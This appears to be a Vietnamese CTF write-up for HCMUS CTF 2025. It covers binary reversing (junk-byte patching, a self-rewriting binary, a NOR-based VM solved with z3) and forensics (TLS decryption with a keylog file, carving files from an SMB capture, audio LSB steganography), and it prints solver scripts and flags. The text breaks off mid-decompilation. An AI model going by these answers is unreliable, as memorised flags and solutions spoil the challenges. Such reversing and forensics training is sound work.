HCMUS CTF 2025
Write-up HCMUS CTF 2025
HCMUS-CTF 2025 Quals
Reverse/Hide and seek
Chương trình bị nhét nhiều byte rác 0xE9 làm cho IDA không gen được mã giả, viết script patch thành NOP là được.
1
2
3
4
5
6
chall = bytearray(open("main", "rb").read())
for i in range(len(chall)):
if chall[i:i+7] == b'\x0F\x84\x01\x00\x00\x00\xE9':
chall[i+6] = 0x90
i += 7
open("main_patched", "wb").write(chall)
Debug và quan sát đoạn này khi chạy lần đầu vơi idx = 0 thì gây exeption:
Phân tích hàm handler:
Đọc 46 byte input, nếu không đủ thì gọi hàm delete_and_create_file xóa file hiện tại và tạo file mới
P/S: Ban đầu mình chạy chall trước khi mở bằng IDA nên sau khi test với input sai thì sinh file mới làm cho việc phân tích sai không thể giải được với crack MD5 khá đáng tiếc.
Sau khi nhận input, thực hiện xáo với thuật toán Fisher-yates shuffle và seed khởi tạo 0x13371337.
Gọi hàm sub_16F6 với hàm con đầu tiên sub_13C4 tạo file mới dựa trên file đang chạy hiện tại và lưu input, seed vào file vừa tạo, set quyền thực thi rồi gọi hàm con sub_165E thực thi với tham số l33t.
Kiểm chứng với lệnh linux strace -f -e trace=all ./main:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
> strace -f -e trace=all ./main
execve("./main", ["./main"], 0x7ffc05ffe298 /* 43 vars */) = 0
brk(NULL) = 0x5ce2e9d51000
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x739c2a0d6000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=32706, ...}) = 0
mmap(NULL, 32706, PROT_READ, MAP_PRIVATE, 3, 0) = 0x739c2a0ce000
close(3) = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0000\237\2\0\0\0\0\0"..., 832) = 832
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
fstat(3, {st_mode=S_IFREG|0755, st_size=2003408, ...}) = 0
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
mmap(NULL, 2055640, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x739c29ed8000
mmap(0x739c29f00000, 1462272, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x28000) = 0x739c29f00000
mmap(0x739c2a065000, 352256, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x18d000) = 0x739c2a065000
mmap(0x739c2a0bb000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e2000) = 0x739c2a0bb000
mmap(0x739c2a0c1000, 52696, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x739c2a0c1000
close(3) = 0
mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x739c29ed5000
arch_prctl(ARCH_SET_FS, 0x739c29ed5740) = 0
set_tid_address(0x739c29ed5a10) = 1359
set_robust_list(0x739c29ed5a20, 24) = 0
rseq(0x739c29ed6060, 0x20, 0, 0x53053053) = 0
mprotect(0x739c2a0bb000, 16384, PROT_READ) = 0
mprotect(0x5ce2da730000, 4096, PROT_READ) = 0
mprotect(0x739c2a10b000, 8192, PROT_READ) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
munmap(0x739c2a0ce000, 32706) = 0
rt_sigaction(SIGFPE, {sa_handler=0x5ce2da72e742, sa_mask=[FPE], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x739c29f17d20}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
--- SIGFPE {si_signo=SIGFPE, si_code=FPE_INTDIV, si_addr=0x5ce2da72e9b4} ---
write(1, "> ", 2> ) = 2
read(0, HCMUS-CTF{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}
"HCMUS-CTF{aaaaaaaaaaaaaaaaaaaaaa"..., 47) = 47
openat(AT_FDCWD, "/proc/self/exe", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0777, st_size=29128, ...}) = 0
mmap(NULL, 29128, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x739c2a0ce000
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\240\20\0\0\0\0\0\0"..., 29128) = 29128
close(3) = 0
unlink("./main") = 0
openat(AT_FDCWD, "./main", O_WRONLY|O_CREAT|O_TRUNC, 0700) = 3
write(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\240\20\0\0\0\0\0\0"..., 29128) = 29128
close(3) = 0
munmap(0x739c2a0ce000, 29128) = 0
execve("./main", ["./main", "l33t"], 0x7ffd88821db8 /* 0 vars */) = 0
brk(NULL) = 0x5f92ccf7c000
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fb6b5bf8000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=32706, ...}) = 0
mmap(NULL, 32706, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fb6b5bf0000
close(3) = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0000\237\2\0\0\0\0\0"..., 832) = 832
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
fstat(3, {st_mode=S_IFREG|0755, st_size=2003408, ...}) = 0
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
mmap(NULL, 2055640, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fb6b59fa000
mmap(0x7fb6b5a22000, 1462272, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x28000) = 0x7fb6b5a22000
mmap(0x7fb6b5b87000, 352256, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x18d000) = 0x7fb6b5b87000
mmap(0x7fb6b5bdd000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e2000) = 0x7fb6b5bdd000
mmap(0x7fb6b5be3000, 52696, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fb6b5be3000
close(3) = 0
mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fb6b59f7000
arch_prctl(ARCH_SET_FS, 0x7fb6b59f7740) = 0
set_tid_address(0x7fb6b59f7a10) = 1359
set_robust_list(0x7fb6b59f7a20, 24) = 0
rseq(0x7fb6b59f8060, 0x20, 0, 0x53053053) = 0
mprotect(0x7fb6b5bdd000, 16384, PROT_READ) = 0
mprotect(0x5f9298392000, 4096, PROT_READ) = 0
mprotect(0x7fb6b5c2d000, 8192, PROT_READ) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
munmap(0x7fb6b5bf0000, 32706) = 0
rt_sigaction(SIGFPE, {sa_handler=0x5f9298390742, sa_mask=[FPE], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x7fb6b5a39d20}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
write(1, "no\n", 3no
) = 3
mmap(NULL, 14552, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fb6b5bf4000
unlink("./main") = 0
openat(AT_FDCWD, "./main", O_WRONLY|O_CREAT|O_TRUNC, 0700) = 3
write(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0@\23\0\0\0\0\0\0"..., 14552) = 14552
close(3) = 0
munmap(0x7fb6b5bf4000, 14552) = 0
exit(1) = ?
+++ exited with 1 +++
Luồng mới sẽ check input xor seed với enc tại idx.
Nếu idx chưa bằng 46 thì caculate seed và tiếp tục tạo file mới và thực thi.
Tóm lại luồng thực thi của challenge này là chạy chương trình lần đầu với idx = 0 thì gây ra exception –> handler được đăng ký xử lý bằng cách đọc input, khởi tạo file mới dựa trên file hiện tại đồng thời xáo input với seed khởi tạo. Nếu idx chưa đạt 46 thì tiếp tục caculate seed gọi sub_16F6 với seed mới tiếp tục luồng check cho tới khi hết byte input.
Như vậy để tìm flag, đầu tiên sẽ mô phỏng luồng xáo Fisher-yates, lưu lại các chỉ số swaps ban đầu, sau đó xor với seed mà được ghi đè từ sau bước xáo –> xáo lại theo chỉ số ban đầu đã lưu.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
enc = bytearray.fromhex("72C36B0CCF65EDBA18CA8F99E68A7FA6E4444C145B9E73D361EB44820DC407C7E582E5B70A394CD251530550126C")
seed = 0x13371337
def LCG(a1):
a1 = 1664525 * a1 + 0x3C6EF35F
return a1 & 0xFFFFFFFF
flag = bytearray(len(enc))
swaps = []
for i in range(len(enc)-1, 0, -1):
seed = LCG(seed)
swaps.append((i, seed % (i + 1)))
# print(swaps)
for i in range(len(enc)):
flag[i] = enc[i] ^ (seed & 0xFF)
seed = LCG(seed)
for i, j in reversed(swaps):
flag[i], flag[j] = flag[j], flag[i]
print(flag.decode())
# HCMUS-CTF{d1d_y0u_kn0vv_y0u12_O5_c4n_d0_th1s?}
HCMUS-CTF{d1d_y0u_kn0vv_y0u12_O5_c4n_d0_th1s?}
Forensics/TLS Challenge
Can you extract the flag from encrypted HTTPS?
Đề cho 1 file capture.pcap với nội dung gói tin bị mã hóa và 1 file keylog.log.
Đọc qua file keylog.log thì thấy nó cung cấp TLS secret tạo bởi OpenSSL/Python. Như vậy, theo mô tả chall và các file được cung cấp thì mục tiêu rõ ràng là giải mả lưu lượng TLS trong file pcap để truy xuất nội dung gốc (HTTP bên trong HTTPS).
Mở capture.pcap bằng Wiresharek và import file keylog.log để giải mã.
HCMUS-CTF{tls_tr@ffic_@n@lysis_ch@ll3ng3}
Forensics/Trashbin
Someone’s been treating my computer like a trash bin, constantly dumping useless files into it. But it seems he got careless and dropped a really important one in there. Even though he deleted it afterward, it might have been too late—hehe😏.
Đề cung cấp 1 file trash.pcap kết hợp với mô tả challenge thì mục tiêu là khôi phục lại file bị xóa sau khi gửi. May mắn là file được gửi qua mạng thông qua giao thức SMB2 nên có thể phục hồi lại được từ gói tin mạng. Dùng lệnh foremost -i trash.pcap -o out để khôi phục lại file bị xóa:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus
Audit File
Foremost started at Sat Jul 19 13:10:43 2025
Invocation: foremost -i trash.pcap -o out
Output directory: /mnt/d/CTF/rev/HCMUSCTF/2025/FOR_Trashbin/out
Configuration file: /etc/foremost.conf
------------------------------------------------------------------
File: trash.pcap
Start: Sat Jul 19 13:10:43 2025
Length: 483 KB (495585 bytes)
Num Name (bs=512) Size File Offset Comment
0: 00000022.zip 248 B 11747
1: 00000029.zip 244 B 14971
2: 00000035.zip 236 B 18191
3: 00000041.zip 260 B 21403
4: 00000048.zip 255 B 24639
5: 00000054.zip 212 B 27870
6: 00000060.zip 234 B 31058
7: 00000066.zip 235 B 34268
8: 00000073.zip 246 B 37487
9: 00000079.zip 268 B 40717
10: 00000085.zip 261 B 43969
11: 00000092.zip 226 B 47214
12: 00000098.zip 268 B 50424
13: 00000104.zip 268 B 53676
14: 00000111.zip 247 B 56928
15: 00000117.zip 268 B 60159
16: 00000123.zip 258 B 63403
17: 00000130.zip 258 B 66637
18: 00000136.zip 219 B 69871
19: 00000142.zip 247 B 73066
20: 00000149.zip 258 B 76289
21: 00000155.zip 223 B 79523
22: 00000161.zip 258 B 82722
23: 00000167.zip 258 B 85956
24: 00000174.zip 210 B 89190
25: 00000180.zip 258 B 92376
26: 00000186.zip 258 B 95610
27: 00000193.zip 217 B 98844
28: 00000199.zip 252 B 102037
29: 00000205.zip 220 B 105265
30: 00000211.zip 253 B 108461
31: 00000218.zip 250 B 111690
32: 00000224.zip 232 B 114916
33: 00000230.zip 215 B 118124
34: 00000236.zip 221 B 121315
35: 00000243.zip 229 B 124512
36: 00000249.zip 260 B 127717
37: 00000255.zip 253 B 130953
38: 00000262.zip 262 B 134182
39: 00000268.zip 262 B 137420
40: 00000274.zip 221 B 140658
41: 00000280.zip 243 B 143855
42: 00000287.zip 214 B 147074
43: 00000293.zip 262 B 150264
44: 00000299.zip 262 B 153502
45: 00000306.zip 222 B 156740
46: 00000312.zip 226 B 159938
47: 00000318.zip 259 B 163148
48: 00000324.zip 259 B 166391
49: 00000331.zip 266 B 169634
50: 00000337.zip 266 B 172884
51: 00000343.zip 260 B 176126
52: 00000350.zip 249 B 179362
53: 00000356.zip 229 B 182587
54: 00000362.zip 260 B 185792
55: 00000369.zip 264 B 189028
56: 00000375.zip 245 B 192268
57: 00000381.zip 264 B 195489
58: 00000388.zip 264 B 198729
59: 00000394.zip 264 B 201969
60: 00000400.zip 268 B 205217
61: 00000407.zip 228 B 208469
62: 00000413.zip 268 B 211681
63: 00000419.zip 233 B 214933
64: 00000426.zip 268 B 218150
65: 00000432.zip 246 B 221402
66: 00000438.zip 268 B 224632
67: 00000445.zip 236 B 227884
68: 00000451.zip 260 B 231096
69: 00000457.zip 257 B 234332
70: 00000463.zip 260 B 237565
71: 00000470.zip 262 B 240801
72: 00000476.zip 211 B 244039
73: 00000482.zip 262 B 247226
74: 00000489.zip 223 B 250464
75: 00000495.zip 212 B 253663
76: 00000501.zip 262 B 256851
77: 00000507.zip 262 B 260089
78: 00000514.zip 262 B 263327
79: 00000520.zip 242 B 266565
80: 00000526.zip 219 B 269783
81: 00000533.zip 258 B 272978
82: 00000539.zip 222 B 276212
83: 00000545.zip 258 B 279410
84: 00000552.zip 215 B 282644
85: 00000558.zip 219 B 285843
86: 00000564.zip 266 B 289046
87: 00000570.zip 259 B 292296
88: 00000577.zip 266 B 295539
89: 00000583.zip 217 B 298789
90: 00000589.zip 266 B 301990
91: 00000596.zip 260 B 305240
92: 00000602.zip 258 B 308484
93: 00000608.zip 256 B 311726
94: 00000615.zip 260 B 314958
95: 00000621.zip 260 B 318194
96: 00000627.zip 260 B 321430
97: 00000634.zip 260 B 324666
98: 00000640.zip 209 B 327902
99: 00000646.zip 262 B 331087
100: 00000652.zip 239 B 334325
101: 00000659.zip 262 B 337540
102: 00000665.zip 256 B 340778
103: 00000671.zip 262 B 344010
104: 00000678.zip 258 B 347248
105: 00000684.zip 215 B 350482
106: 00000690.zip 258 B 353673
107: 00000770.zip 264 B 394691
108: 00000777.zip 219 B 397931
109: 00000783.zip 250 B 401126
110: 00000789.zip 229 B 404352
111: 00000796.zip 245 B 407557
112: 00000802.zip 260 B 410778
113: 00000808.zip 260 B 414014
114: 00000814.zip 260 B 417250
115: 00000821.zip 260 B 420486
116: 00000827.zip 260 B 423722
117: 00000833.zip 260 B 426958
118: 00000840.zip 260 B 430194
119: 00000846.zip 264 B 433430
120: 00000852.zip 264 B 436670
Finish: Sat Jul 19 13:10:44 2025
121 FILES EXTRACTED
zip:= 121
------------------------------------------------------------------
Foremost finished at Sat Jul 19 13:10:44 2025
Rất nhiều file zip nên sử dụng script auto để giải nén và tìm flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import os
import zipfile
foremost_dir = "out/zip"
flag = ''
for filename in sorted(os.listdir(foremost_dir)):
zip_path = os.path.join(foremost_dir, filename)
if not zipfile.is_zipfile(zip_path):
continue
with zipfile.ZipFile(zip_path, 'r') as zip_ref:
for zip_info in zip_ref.infolist():
if zip_info.filename.endswith('.txt') or 'flag' in zip_info.filename.lower():
with zip_ref.open(zip_info) as f:
content = f.read().decode(errors='ignore')
if "HCMUS-CTF" in content:
print(zip_info.filename)
flag = content.strip()
print(f"{flag}")
exit()
flagishere_228.txt
HCMUS-CTF{pr0t3ct_y0ur_SMB_0r_d1e}
Forensics/Disk Partition
Too many flags… but only one is real.
Đề cho 1 file disk.img, mở bằng autospy.
Ngó qua thì tại phân vùng vol3 Mac OS, file hệ thống $CatalogFile của HFS+ chứa thông tin metadata về các file và thư mục trong phân vùng gợi ý tại đây sẽ chứa file flag.txt.
HCMUS-CTF{1gn0r3_+h3_n01$3_f1nd_m@c}
Forensics/File Hidden
Relax and chill with this lo-fi track… but listen caffuly — there might be something hidden in the sound waves.
Đề cung cấp 1 file âm thanh JACK_J97_|_THIÊN_LÝ_ƠI.wav Theo như mô tả thì có vẻ file flag bị ẩn trong file âm thanh này. Sử dụng tool HiddenWave để tìm file bị ẩn.
Chạy script ExWave.py thì thấy nội dung ở dạng binary nên có lẽ file chứa flag ở dạng đặt biệt vì thế mình sửa lại script 1 tí thay vì in ra thì lưu nội dung vào 1 file bin để dễ xác định.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# HiddinWave Ver 1.0
# Powered by TechChip
# Secret Message Extractor
import os
import wave
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('-f', help='audiofile', dest='audiofile')
args = parser.parse_args()
af = args.audiofile
arged = False
if af:
arged = True
def cls():
os.system("cls" if os.name == "nt" else "clear")
def help():
print("\033[92mExtract Your Secret Message from Audio Wave File.\033[0m")
print('''usage: ExWave.py [-h] [-f AUDIOFILE]
optional arguments:
-h, --help show this help message and exit
-f AUDIOFILE Select Audio File''')
def banner():
print('''
_ _ _ _ _ __ __
| || (_)__| |__| |___ _ _ \ \ / /_ ___ _____
| __ | / _` / _` / -_) ' \ \ \/\/ / _` \ V / -_)
|_||_|_\__,_\__,_\___|_||_|_\_/\_/\__,_|\_/\___|
|___| v1.0 \033[1;91mwww.techchip.net\033[0m
\033[92mVisit for more tutorials : www.youtube.com/techchipnet\033[0m
\033[93mHide your text message in wave audio file like MR.ROBOT\033[0m''')
def ex_msg(af):
if not arged:
help()
else:
print("[*] Processing audio file...")
waveaudio = wave.open(af, mode='rb')
frame_bytes = bytearray(list(waveaudio.readframes(waveaudio.getnframes())))
extracted = [frame_bytes[i] & 1 for i in range(len(frame_bytes))]
byte_array = bytearray()
for i in range(0, len(extracted), 8):
byte_bits = extracted[i:i+8]
if len(byte_bits) < 8:
break
byte_value = int("".join(map(str, byte_bits)), 2)
byte_array.append(byte_value)
end_marker = b"###"
if end_marker in byte_array:
byte_array = byte_array.split(end_marker)[0]
output_filename = "extracted_output.bin"
with open(output_filename, "wb") as f:
f.write(byte_array)
print(f"\033[1;92m[+] Done! Extracted data saved to '{output_filename}'\033[0m")
waveaudio.close()
cls()
banner()
try:
ex_msg(af)
except Exception as e:
print(f"\033[1;91m[-] Something went wrong: {e}\033[0m")
Để ý PK gợi ý đến signature của file zip, ngoài ra mình tốn thời gian ở câu này đổi đuôi sang zip nhưng vẫn không giải nén được vì file chứa dữ liệu dư (rác) sau phần ZIP — do tool ExWave.py trích xuất toàn bộ stream LSB, kể cả sau phần kết thúc ZIP nên ta sử dụng thêm lệnh linux zip -FF extracted_output.bin --out fixed.zip để export file zip thực sự. Giải nén và lụm flag:
HCMUS-CTF{Th13nLy_0i_J4ck_5M1ll10n}
HCMUS-CTF 2025 Final
Reverse/Simple VM
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/python3
import pickle
import sys
mem = []
def VM(data):
with open("image.bin", "rb") as f:
mem = pickle.load(f)
mem[60001:60017] = data
while True:
if mem[4] == 1:
print("DONE")
break
i = mem[0]
a1 = mem[i]
a2 = mem[i + 1]
a3 = mem[i + 2]
tmp = (~(mem[a1] | mem[a2])) & 0xffff
mem[a3] = tmp
mem[1] = ((tmp >> 15) & 1) | ((tmp & 0x7FFF) << 1)
mem[0] = i + 3
return mem[60100]
key = input("Key: ").strip()
if not (len(key) == 16):
print("Incorrect format!")
sys.exit(1)
if VM(key.encode()) == 0:
print("Correct!, wraps your key with HCMUS-CTF{}")
else:
print("Incorrect key!")
Challenge VM load image.bin và đọc 16 byte key, nếu mem[60100] = 0 thì key đúng. Cách đơn giản nhất để solve là dùng z3 tham khảo tại đây.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from z3 import *
import pickle
with open("image.bin", "rb") as f:
mem_init = pickle.load(f)
# mem là Array: index BitVec(32), value BitVec(16)
mem = Array('mem', BitVecSort(32), BitVecSort(16))
for idx, val in enumerate(mem_init):
mem = Store(mem, BitVecVal(idx, 32), BitVecVal(val, 16))
key = [BitVec(f"k{i}", 16) for i in range(16)]
for i, kv in enumerate(key):
mem = Store(mem, BitVecVal(60001+i, 32), kv)
s = Solver()
for k in key:
s.add(k >= 0x20, k <= 0x7e)
pc = BitVecVal(mem_init[0], 32)
j = 0
while j < 11854:
ex = Select(mem, BitVecVal(4, 32))
s.add(ex != BitVecVal(1, 16))
a1 = Select(mem, pc)
a2 = Select(mem, pc+1)
a3 = Select(mem, pc+2)
v1 = Select(mem, ZeroExt(16, a1))
v2 = Select(mem, ZeroExt(16, a2))
tmp = ~ (v1 | v2) & BitVecVal(0xffff, 16)
mem = Store(mem, ZeroExt(16, a3), tmp)
# mem[1] = ROL1(tmp)
rol1 = RotateLeft(tmp, 1)
mem = Store(mem, BitVecVal(1, 32), rol1)
pc = pc+3
j += 1
s.add(Select(mem, BitVecVal(60100, 32)) == BitVecVal(0, 16))
if s.check() == sat:
m = s.model()
print("".join(chr(m[k].as_long()) for k in key))
else:
print("Unsat")
# 0nly_0ne_inst???
Cách thứ 2 sẽ bổ sung bước disassembler VM đó ra để phân tích:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/python3
import pickle
import sys
mem = []
disasm = []
def VM(data):
with open("image.bin", "rb") as f:
mem = pickle.load(f)
mem[60001:60017] = data
with open("disasm.txt", "w") as f:
while True:
if mem[4] == 1:
print("DONE")
break
i = mem[0]
a1 = mem[i]
a2 = mem[i + 1]
a3 = mem[i + 2]
tmp = (~(mem[a1] | mem[a2])) & 0xffff
mem[a3] = tmp
mem[1] = ((tmp >> 15) & 1) | ((tmp & 0x7FFF) << 1)
mem[0] = i + 3
if a1 >= 60001 and a1 < 60017 and a2 >= 60001 and a2 < 60017:
f.write(f"{i} NOR {chr(mem[a1])}, {chr(mem[a2])} --> {mem[a3]}\t(key[{i % len(key)}])\n")
else:
f.write(f"{i} NOR {mem[a1]}, {mem[a2]} --> {mem[a3]}\t(mem[{a3}])\n")
return mem[60100]
key = "qwertyuiopasdfgh"
if not (len(key) == 16):
print("Incorrect format!")
sys.exit(1)
if VM(key.encode()) == 0:
print("Correct!, wraps your key with HCMUS-CTF{}")
else:
print("Incorrect key!")
Quan sát kết quả disassembler có thể thấy mem[60100] xuất hiện 16 lần tương ứng với 16 byte key, như vậy có thể ngầm đoán được 1 byte key sẽ được mã hóa và nếu đúng thì trả về 0. Brute force từng byte key để giải:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import pickle
from string import ascii_letters, digits, punctuation
m = []
with open("image.bin", "rb") as f:
m = pickle.load(f)
key = [0] * 16
chars = ascii_letters + digits + punctuation
for j in range(16):
for c in chars:
mem = m.copy()
mem[60001:60017] = key.copy()
mem[60001+j] = ord(c)
cnt = 0
found = False
while True:
if mem[4] == 1:
break
i = mem[0]
a1 = mem[i]
a2 = mem[i + 1]
a3 = mem[i + 2]
tmp = (~(mem[a1] | mem[a2])) & 0xffff
mem[a3] = tmp
mem[1] = ((tmp >> 15) & 1) | ((tmp & 0x7FFF) << 1)
mem[0] = i + 3
if a3 == 60100:
cnt += 1
if cnt == j+1 and tmp == 0:
found = True
key[j] = ord(c)
print(c)
break
if found:
break
print(bytes(key).decode())
# 0nly_0ne_inst???
HCMUS-CTF{0nly_0ne_inst???}
Reverse/Just another VM
Tiếp tục là 1 challenge VM.
Debug và trace thì hàm này sẽ thực hiện check key:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
void __cdecl Machine::OneInstruction(Machine *const this, Instruction *instr)
{
int v2; // eax
int v3; // eax
int v4; // eax
int v5; // eax
int v6; // ebx
int v7; // eax
int v8; // esi
int v9; // ebx
int v10; // eax
int v11; // eax
int v12; // eax
int extra; // ebx
int v14; // esi
int v15; // eax
int v16; // eax
int v17; // eax
int v18; // eax
int v19; // eax
int v20; // eax
int v21; // eax
int v22; // eax
int v23; // eax
int v24; // eax
int v25; // eax
int v26; // eax
int v27; // eax
int v28; // eax
int v29; // eax
int v30; // eax
int raw; // [esp+28h] [ebp-A0h] BYREF
int value; // [esp+2Ch] [ebp-9Ch] BYREF
int nextLoadReg; // [esp+30h] [ebp-98h]
int nextLoadValue; // [esp+34h] [ebp-94h]
int pcAfter; // [esp+38h] [ebp-90h]
OpString *str; // [esp+3Ch] [ebp-8Ch]
int sum; // [esp+40h] [ebp-88h]
unsigned int rs; // [esp+44h] [ebp-84h]
unsigned int rt; // [esp+48h] [ebp-80h]
int tmp; // [esp+4Ch] [ebp-7Ch]
int byte; // [esp+50h] [ebp-78h]
unsigned int imm; // [esp+54h] [ebp-74h]
int diff; // [esp+58h] [ebp-70h]
char buf[80]; // [esp+5Ch] [ebp-6Ch] BYREF
unsigned int v45; // [esp+ACh] [ebp-1Ch]
v45 = __readgsdword(0x14u);
nextLoadReg = 0;
nextLoadValue = 0;
